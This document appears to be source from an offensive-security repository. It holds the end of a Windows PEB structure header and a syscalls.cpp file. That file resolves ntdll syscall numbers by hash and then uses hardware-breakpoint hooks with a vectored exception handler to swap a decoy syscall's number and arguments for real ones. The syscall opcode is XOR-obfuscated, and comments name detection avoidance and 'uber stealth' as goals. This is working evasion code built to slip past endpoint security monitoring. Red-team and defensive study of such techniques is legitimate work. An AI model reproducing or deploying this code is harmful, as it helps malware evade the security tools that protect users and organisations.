216 | USHORT OSBuildNumber; //0x120
217 | USHORT OSCSDVersion; //0x122
218 | ULONG OSPlatformId; //0x124
219 | ULONG ImageSubsystem; //0x128
220 | ULONG ImageSubsystemMajorVersion; //0x12c
221 | ULONG ImageSubsystemMinorVersion; //0x130
222 | UCHAR Padding4[4]; //0x134
223 | ULONGLONG ActiveProcessAffinityMask; //0x138
224 | ULONG GdiHandleBuffer[60]; //0x140
225 | ULONGLONG PostProcessInitRoutine; //0x230
226 | ULONGLONG TlsExpansionBitmap; //0x238
227 | ULONG TlsExpansionBitmapBits[32]; //0x240
228 | ULONG SessionId; //0x2c0
229 | UCHAR Padding5[4]; //0x2c4
230 | union _ULARGE_INTEGER AppCompatFlags; //0x2c8
231 | union _ULARGE_INTEGER AppCompatFlagsUser; //0x2d0
232 | ULONGLONG pShimData; //0x2d8
233 | ULONGLONG AppCompatInfo; //0x2e0
234 | struct _INT_STRING64 CSDVersion; //0x2e8
235 | ULONGLONG ActivationContextData; //0x2f8
236 | ULONGLONG ProcessAssemblyStorageMap; //0x300
237 | ULONGLONG SystemDefaultActivationContextData; //0x308
238 | ULONGLONG SystemAssemblyStorageMap; //0x310
239 | ULONGLONG MinimumStackCommit; //0x318
240 | ULONGLONG SparePointers[4]; //0x320
241 | ULONG SpareUlongs[5]; //0x340
242 | ULONGLONG WerRegistrationData; //0x358
243 | ULONGLONG WerShipAssertPtr; //0x360
244 | ULONGLONG pUnused; //0x368
245 | ULONGLONG pImageHeaderHash; //0x370
246 | union
247 | {
248 | ULONG TracingFlags; //0x378
249 | struct
250 | {
251 | ULONG HeapTracingEnabled : 1; //0x378
252 | ULONG CritSecTracingEnabled : 1; //0x378
253 | ULONG LibLoaderTracingEnabled : 1; //0x378
254 | ULONG SpareTracingBits : 29; //0x378
255 | };
256 | };
257 | UCHAR Padding6[4]; //0x37c
258 | ULONGLONG CsrServerReadOnlySharedMemoryBase; //0x380
259 | ULONGLONG TppWorkerpListLock; //0x388
260 | struct LIST_ENTRY64 TppWorkerpList; //0x390
261 | ULONGLONG WaitOnAddressHashTable[128]; //0x3a0
262 | ULONGLONG TelemetryCoverageHeader; //0x7a0
263 | ULONG CloudFileFlags; //0x7a8
264 | ULONG CloudFileDiagFlags; //0x7ac
265 | CHAR PlaceholderCompatibilityMode; //0x7b0
266 | CHAR PlaceholderCompatibilityModeReserved[7]; //0x7b1
267 | ULONGLONG LeapSecondData; //0x7b8
268 | union
269 | {
270 | ULONG LeapSecondFlags; //0x7c0
271 | struct
272 | {
273 | ULONG SixtySecondEnabled : 1; //0x7c0
274 | ULONG Reserved : 31; //0x7c0
275 | };
276 | };
277 | ULONG NtGlobalFlag2; //0x7c4
278 | } _INT_PEB, *P_INT_PEB;
279 |
280 | #endif //PEPARSING_H
281 |
--------------------------------------------------------------------------------
/src/syscalls.cpp:
--------------------------------------------------------------------------------
1 |
2 | //
3 | // Created by Brendan Ortiz on 7/23/2024.
4 | //
5 |
6 | #include "../include/syscalls.h"
7 |
8 | #include
9 |
10 | #include "../include/PeParsing.h"
11 | #include
12 |
13 | #define Ntdll_dll_CRCW 0xf87b6f6b
14 |
15 | pSYS_ENTRY_LIST g_SyscallList = NULL;
16 | pBENIGN_ENTRY_LIST g_BenignSyscallList = NULL;
17 | pTAMPERED_SYSCALL g_TamperedSyscall = NULL;
18 |
19 | PCRITICAL_SECTION g_CriticalSection = NULL;
20 | PVOID g_VehHandler = NULL;
21 | LONG ExceptionHandlerCallbackRoutine(IN PEXCEPTION_POINTERS pExceptionInfo);
22 | volatile unsigned short g_SYSCALL_OPCODE = 0x405D; // 0x050F ^ 0x2325
23 |
24 | #if defined(_WIN64)
25 | #define SEARCH_BYTES 0x8b4c
26 | #else
27 | #define SEARCH_BYTES 0x00b8
28 | #endif
29 |
30 | BOOL IsPresent(DWORD64 dw64Hash, pBENIGN_ENTRY_LIST pList) {
31 | for(int i = 0; i < pList->u32Count; i++) {
32 | if(pList->Entries[i].u32Hash == dw64Hash)
33 | return TRUE;
34 | }
35 | return FALSE;
36 | }
37 |
38 | BOOL init() {
39 | g_TamperedSyscall = (pTAMPERED_SYSCALL)LocalAlloc(LPTR, sizeof(TAMPERED_SYSCALL));
40 | g_CriticalSection = (PCRITICAL_SECTION)LocalAlloc(LPTR, sizeof(CRITICAL_SECTION));
41 |
42 | if(g_TamperedSyscall == NULL)
43 | return FALSE;
44 | if(!PopulateSyscallList())
45 | return FALSE;
46 |
47 | return TRUE;
48 | }
49 |
50 | BOOL PopulateSyscallList() {
51 |
52 | PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL;
53 | PDWORD pdwFunctionNameArray = NULL;
54 | PDWORD pdwFunctionAddressArray = NULL;
55 | PWORD pwFunctionOrdinalArray = NULL;
56 | HMODULE hNtdll = NULL;
57 |
58 | if(g_SyscallList == NULL)
59 | g_SyscallList = (pSYS_ENTRY_LIST)LocalAlloc(LPTR, sizeof(SYS_ENTRY_LIST)); // we do not already have memory reserved for our list
60 |
61 | if(g_SyscallList->u32Count)
62 | return TRUE; // our list is already populated
63 | hNtdll = (HMODULE)GetModuleBaseAddr(Ntdll_dll_CRCW);
64 | pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)GetExportDirectoryAddress(hNtdll);
65 |
66 | pdwFunctionNameArray = (PDWORD)((LPBYTE)hNtdll + pExportDirectory->AddressOfNames);
67 | pdwFunctionAddressArray = (PDWORD)((LPBYTE)hNtdll + pExportDirectory->AddressOfFunctions);
68 | pwFunctionOrdinalArray = (PWORD)((LPBYTE)hNtdll + pExportDirectory->AddressOfNameOrdinals);
69 |
70 | // Store Zw* syscalls addresses
71 | for (int i = 0; i < pExportDirectory->NumberOfNames; i++) {
72 | LPSTR pFunctionName = (LPSTR)((LPBYTE)hNtdll + pdwFunctionNameArray[i]);
73 |
74 | if (*(unsigned short*)pFunctionName == 'wZ' && g_SyscallList->u32Count <= MAX_ENTRIES) { // we've found a syscall name.
75 | ULONG_PTR uAddress = (ULONG_PTR)((LPBYTE)hNtdll + pdwFunctionAddressArray[pwFunctionOrdinalArray[i]]); // obtain address pointer
76 | DWORD wBytes = *(DWORD*)uAddress; //obtain the first 2 bytes of the func.
77 | DWORD u32Hash = HASHA(pFunctionName); //obtain the function hash
78 |
79 | g_SyscallList->Entries[g_SyscallList->u32Count].u32Hash = u32Hash; // populate our reg syscall list no matter what
80 | g_SyscallList->Entries[g_SyscallList->u32Count].uAddress = uAddress;
81 | g_SyscallList->u32Count++;
82 |
83 | if((wBytes & SEARCH_BYTES) == SEARCH_BYTES) { // we've found a benign syscall. populate the entry in benign list.
84 | for(int j = 0; j < 0x20; j++) { //loop until we find the syscall.
85 | wBytes = *(DWORD*)(uAddress + j); // update bytes.
86 | if((wBytes & 0x000000B8) == 0x000000B8) { // syscall found.
87 | g_BenignSyscallList->Entries[g_BenignSyscallList->u32Count].u32Hash = u32Hash; //populate our benign syscall.
88 | g_BenignSyscallList->Entries[g_BenignSyscallList->u32Count].uAddress = uAddress;
89 | g_BenignSyscallList->Entries[g_BenignSyscallList->u32Count].SSN = *(DWORD*)(uAddress + j + 1);
90 | g_BenignSyscallList->u32Count++;
91 | break;
92 | }
93 | }
94 | }
95 | }
96 | }
97 |
98 | // Sort Zw* syscalls addresses in ascending order
99 | // bubble sort addresses.
100 | for (int i = 0; i < g_SyscallList->u32Count - 0x01; i++){
101 |
102 | for (int j = 0; j < g_SyscallList->u32Count - i - 0x01; j++){
103 |
104 | if (g_SyscallList->Entries[j].uAddress > g_SyscallList->Entries[j + 1].uAddress) {
105 |
106 | SYSCALL_ENTRY TempEntry = { .u32Hash = g_SyscallList->Entries[j].u32Hash, .uAddress = g_SyscallList->Entries[j].uAddress };
107 |
108 | g_SyscallList->Entries[j].u32Hash = g_SyscallList->Entries[j + 1].u32Hash;
109 | g_SyscallList->Entries[j].uAddress = g_SyscallList->Entries[j + 1].uAddress;
110 |
111 | g_SyscallList->Entries[j + 1].u32Hash = TempEntry.u32Hash;
112 | g_SyscallList->Entries[j + 1].uAddress = TempEntry.uAddress;
113 |
114 | }
115 | }
116 | }
117 |
118 | // sort our list of benign syscalls by SSN instead of address.
119 | // bubble sort SSNs. This will inherently give us the addresses in the correct order.
120 | // additionally, the SSN will become the index of the syscall in the list.
121 | // when we randomly choose a benign syscall to hook, we will use the SSN as the index.
122 | for (int i = 0; i < g_BenignSyscallList->u32Count - 0x01; i++){
123 |
124 | for (int j = 0; j < g_BenignSyscallList->u32Count - i - 0x01; j++){
125 |
126 | if (g_BenignSyscallList->Entries[j].SSN > g_BenignSyscallList->Entries[j + 1].SSN) {
127 |
128 | BENIGN_SYSCALL_ENTRY TempEntry = { .u32Hash = g_BenignSyscallList->Entries[j].u32Hash, .uAddress = g_BenignSyscallList->Entries[j].uAddress, .SSN = g_BenignSyscallList->Entries[j].SSN };
129 |
130 | g_BenignSyscallList->Entries[j].u32Hash = g_BenignSyscallList->Entries[j + 1].u32Hash;
131 | g_BenignSyscallList->Entries[j].uAddress = g_BenignSyscallList->Entries[j + 1].uAddress;
132 | g_BenignSyscallList->Entries[j].SSN = g_BenignSyscallList->Entries[j + 1].SSN;
133 |
134 | g_BenignSyscallList->Entries[j + 1].u32Hash = TempEntry.u32Hash;
135 | g_BenignSyscallList->Entries[j + 1].uAddress = TempEntry.uAddress;
136 | g_BenignSyscallList->Entries[j + 1].SSN = TempEntry.SSN;
137 |
138 | }
139 | }
140 | }
141 |
142 | return TRUE; // populated and sorted.
143 | }
144 |
145 | DWORD FetchSSNFromSyscallEntries(UINT32 u32Hash) {
146 |
147 | if(!PopulateSyscallList())
148 | return 0x00;
149 |
150 | for (int i = 0; i < g_SyscallList->u32Count; i++) {
151 | if (g_SyscallList->Entries[i].u32Hash == u32Hash)
152 | return i;
153 | }
154 |
155 | return 0x00;
156 | }
157 |
158 | VOID PopulateTamperedSyscall(ULONG_PTR uParam1, ULONG_PTR uParam2, ULONG_PTR uParam3, ULONG_PTR uParam4,
159 | ULONG_PTR uParam5, ULONG_PTR uParam6, ULONG_PTR uParam7, ULONG_PTR uParam8, ULONG_PTR uParam9, ULONG_PTR uParamA,
160 | ULONG_PTR uParamB, DWORD dwSyscallNumber, INT Nargs) {
161 |
162 | EnterCriticalSection(g_CriticalSection);
163 | g_TamperedSyscall->uParam1 = uParam1;
164 | g_TamperedSyscall->uParam2 = uParam2;
165 | g_TamperedSyscall->uParam3 = uParam3;
166 | g_TamperedSyscall->uParam4 = uParam4;
167 | g_TamperedSyscall->uParam5 = uParam5;
168 | g_TamperedSyscall->uParam6 = uParam6;
169 | g_TamperedSyscall->uParam7 = uParam7;
170 | g_TamperedSyscall->uParam8 = uParam8;
171 | g_TamperedSyscall->uParam9 = uParam9;
172 | g_TamperedSyscall->uParamA = uParamA;
173 | g_TamperedSyscall->uParamB = uParamB;
174 | g_TamperedSyscall->dwSyscallNumber = dwSyscallNumber;
175 | g_TamperedSyscall->Nargs = Nargs;
176 |
177 | LeaveCriticalSection(g_CriticalSection);
178 |
179 | }
180 |
181 | BOOL InitHardwareBreakpointHooking() {
182 | if(g_VehHandler)
183 | return TRUE;
184 |
185 | InitializeCriticalSection(g_CriticalSection);
186 |
187 | if(!(g_VehHandler = AddVectoredExceptionHandler(0x01, (PVECTORED_EXCEPTION_HANDLER)ExceptionHandlerCallbackRoutine))) {
188 | return FALSE;
189 | }
190 |
191 | return TRUE;
192 | }
193 |
194 | BOOL HaltHardwareBreakpointHooking() {
195 | DeleteCriticalSection(g_CriticalSection);
196 |
197 | if(g_VehHandler) {
198 | if(RemoveVectoredExceptionHandler(g_VehHandler) == 0x00) {
199 | return FALSE;
200 | }
201 |
202 | return TRUE;
203 | }
204 | return FALSE;
205 | }
206 |
207 | unsigned long long SetDr7Bits(unsigned long long CurrentDr7Register, int StartingBitPosition, int NmbrOfBitsToModify, unsigned long long NewBitValue) {
208 | unsigned long long mask = (1UL << NmbrOfBitsToModify) - 1UL;
209 | unsigned long long NewDr7Register = (CurrentDr7Register & ~(mask << StartingBitPosition)) | (NewBitValue << StartingBitPosition);
210 | return NewDr7Register;
211 | }
212 |
213 | /*
214 | TODO : Implement this function in a way that uses a list of benign functions chosen at random to hook to avoid detection.
215 | Once the syscall is used, the hook should be removed
216 | and then a new syscall should be chosen at random to hook.
217 | */
218 | BOOL InstallHardwareBreakpointHook(_In_ DWORD dwThreadID, _In_ ULONG_PTR uTargetFuncAddress) {
219 | CONTEXT Context = {.ContextFlags = CONTEXT_DEBUG_REGISTERS};
220 | HANDLE hThread = NULL;
221 | BOOL bResult = FALSE;
222 |
223 | //TODO : use indirect syscalls and native functions for this for uber stealth.
224 | if(!(hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, dwThreadID))) {
225 | goto _END_OF_FUNC;
226 | }
227 |
228 | if(!GetThreadContext(hThread, &Context)) {
229 | goto _END_OF_FUNC;
230 | }
231 |
232 | Context.Dr0 = uTargetFuncAddress;
233 | Context.Dr6 = 0x00;
234 | Context.Dr7 = SetDr7Bits(Context.Dr7, 0x10, 0x02, 0x00); // Clear the local and global exact breakpoints
235 | Context.Dr7 = SetDr7Bits(Context.Dr7, 0x12, 0x02, 0x00); // Clear the local and global exact breakpoints
236 | Context.Dr7 = SetDr7Bits(Context.Dr7, 0x00, 0x01, 0x01); // Set the local exact breakpoint
237 |
238 | if(!SetThreadContext(hThread, &Context))
239 | goto _END_OF_FUNC;
240 |
241 | bResult = TRUE;
242 |
243 | _END_OF_FUNC:
244 | if(hThread)
245 | CloseHandle(hThread);
246 |
247 | return bResult;
248 | }
249 |
250 | BOOL InitializeTamperedSyscall(_In_ ULONG_PTR uCalledSyscallAddress, _In_ UINT32 FunctionHash, _In_ INT Nargs, _In_ ULONG_PTR uParam1, _In_ ULONG_PTR uParam2, _In_ ULONG_PTR uParam3, _In_ ULONG_PTR uParam4, ULONG_PTR uParam5, ULONG_PTR uParam6, ULONG_PTR uParam7, ULONG_PTR uParam8, ULONG_PTR uParam9, ULONG_PTR uParamA, ULONG_PTR uParamB) {
251 |
252 | if(!uCalledSyscallAddress || !FunctionHash)
253 | return FALSE;
254 |
255 | PVOID pDecoySyscallInstructionAdd = NULL;
256 | DWORD dwRealSyscallNumber = 0x00;
257 |
258 | for(int i = 0; i < 0x20; i++) {
259 | unsigned short opcodes = *(unsigned short*)(uCalledSyscallAddress + i);
260 | if(opcodes == (0x4552 ^ g_SYSCALL_OPCODE)) {
261 | pDecoySyscallInstructionAdd = (PVOID)(uCalledSyscallAddress + i);
262 | break;
263 | }
264 | }
265 |
266 | if(!pDecoySyscallInstructionAdd)
267 | return FALSE;
268 |
269 | if(!(dwRealSyscallNumber = FetchSSNFromSyscallEntries(FunctionHash)))
270 | return FALSE;
271 |
272 | PopulateTamperedSyscall(uParam1, uParam2, uParam3, uParam4, uParam5, uParam6, uParam7, uParam8, uParam9, uParamA, uParamB, dwRealSyscallNumber, Nargs);
273 |
274 | if(!InstallHardwareBreakpointHook(GetCurrentThreadId(), (ULONG_PTR)pDecoySyscallInstructionAdd))
275 | return FALSE;
276 |
277 | return TRUE;
278 | }
279 |
280 | LONG ExceptionHandlerCallbackRoutine(IN PEXCEPTION_POINTERS pExceptionInfo) {
281 | BOOL bResolved = FALSE;
282 |
283 | if(pExceptionInfo->ExceptionRecord->ExceptionCode != STATUS_SINGLE_STEP)
284 | goto _EXIT_ROUTINE;
285 |
286 | if((ULONG_PTR)pExceptionInfo->ExceptionRecord->ExceptionAddress != pExceptionInfo->ContextRecord->Dr0)
287 | goto _EXIT_ROUTINE;
288 |
289 | EnterCriticalSection(g_CriticalSection);
290 |
291 | printf("[info ssn] : 0x%04X\n", g_TamperedSyscall->dwSyscallNumber);
292 | printf("[info param1] : 0x%llx\n", g_TamperedSyscall->uParam1);
293 | printf("[info param2] : 0x%llx\n", g_TamperedSyscall->uParam2);
294 | printf("[info param3] : 0x%llx\n", g_TamperedSyscall->uParam3);
295 | printf("[info param4] : 0x%llx\n", g_TamperedSyscall->uParam4);
296 |
297 | //Replace Decoy SSN
298 | pExceptionInfo->ContextRecord->Rax = (DWORD64)g_TamperedSyscall->dwSyscallNumber;
299 | // replace decoy parms
300 | pExceptionInfo->ContextRecord->R10 = g_TamperedSyscall->uParam1;
301 | pExceptionInfo->ContextRecord->Rdx = g_TamperedSyscall->uParam2;
302 | pExceptionInfo->ContextRecord->R8 = g_TamperedSyscall->uParam3;
303 | pExceptionInfo->ContextRecord->R9 = g_TamperedSyscall->uParam4;
304 |
305 | //stack content BEFORE the swap
306 | printf("stack content before modification\n");
307 | printf("[info] rsp : 0x%llx\n", pExceptionInfo->ContextRecord->Rsp);
308 | printf("[info] RSP+8 : 0x%llx\n", *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x08));
309 | printf("[info] RSP+10 : 0x%llx\n", *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x10));
310 | printf("[info] RSP+18 : 0x%llx\n", *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x18));
311 | printf("[info] RSP+20 : 0x%llx\n", *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x20));
312 | printf("[info] RSP+28 : 0x%llx\n", *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x28));
313 | printf("[info] RSP+30 : 0x%llx\n", *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x30));
314 | printf("[info] RSP+38 : 0x%llx\n", *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x38));
315 | printf("[info] RSP+40 : 0x%llx\n", *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x40));
316 | printf("[info] RSP+48 : 0x%llx\n", *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x48));
317 | printf("[info] RSP+50 : 0x%llx\n", *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x50));
318 | printf("[info] RSP+58 : 0x%llx\n", *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x58));
319 |
320 |
321 | // replace decoy parms on stack if needed.
322 | if(g_TamperedSyscall->Nargs > 4) {
323 | printf("stack content after modification\n");
324 | *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x28) = g_TamperedSyscall->uParam5;
325 | *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x30) = g_TamperedSyscall->uParam6;
326 | *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x38) = g_TamperedSyscall->uParam7;
327 | *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x40) = g_TamperedSyscall->uParam8;
328 | *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x48) = g_TamperedSyscall->uParam9;
329 | *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x50) = g_TamperedSyscall->uParamA;
330 | *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x58) = g_TamperedSyscall->uParamB;
331 |
332 | printf("[info] rsp : 0x%llx\n", pExceptionInfo->ContextRecord->Rsp);
333 | printf("[info] RSP+8 : 0x%llx\n", *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x08));
334 | printf("[info] RSP+10 : 0x%llx\n", *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x10));
335 | printf("[info] RSP+18 : 0x%llx\n", *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x18));
336 | printf("[info] RSP+20 : 0x%llx\n", *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x20));
337 | printf("[info] RSP+28 : 0x%llx\n", *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x28));
338 | printf("[info] RSP+30 : 0x%llx\n", *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x30));
339 | printf("[info] RSP+38 : 0x%llx\n", *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x38));
340 | printf("[info] RSP+40 : 0x%llx\n", *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x40));
341 | printf("[info] RSP+48 : 0x%llx\n", *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x48));
342 | printf("[info] RSP+50 : 0x%llx\n", *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x50));
343 | printf("[info] RSP+58 : 0x%llx\n", *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x58));
344 | }
345 |
346 |
347 | //remove breakpoint
348 | pExceptionInfo->ContextRecord->Dr0 = 0ull;
349 |
350 |
351 |
352 |
353 |
354 | LeaveCriticalSection(g_CriticalSection);
355 |
356 | bResolved = TRUE;
357 |
358 | _EXIT_ROUTINE:
359 | return (bResolved ? EXCEPTION_CONTINUE_EXECUTION : EXCEPTION_CONTINUE_SEARCH);
360 | }
361 |
362 |
--------------------------------------------------------------------------------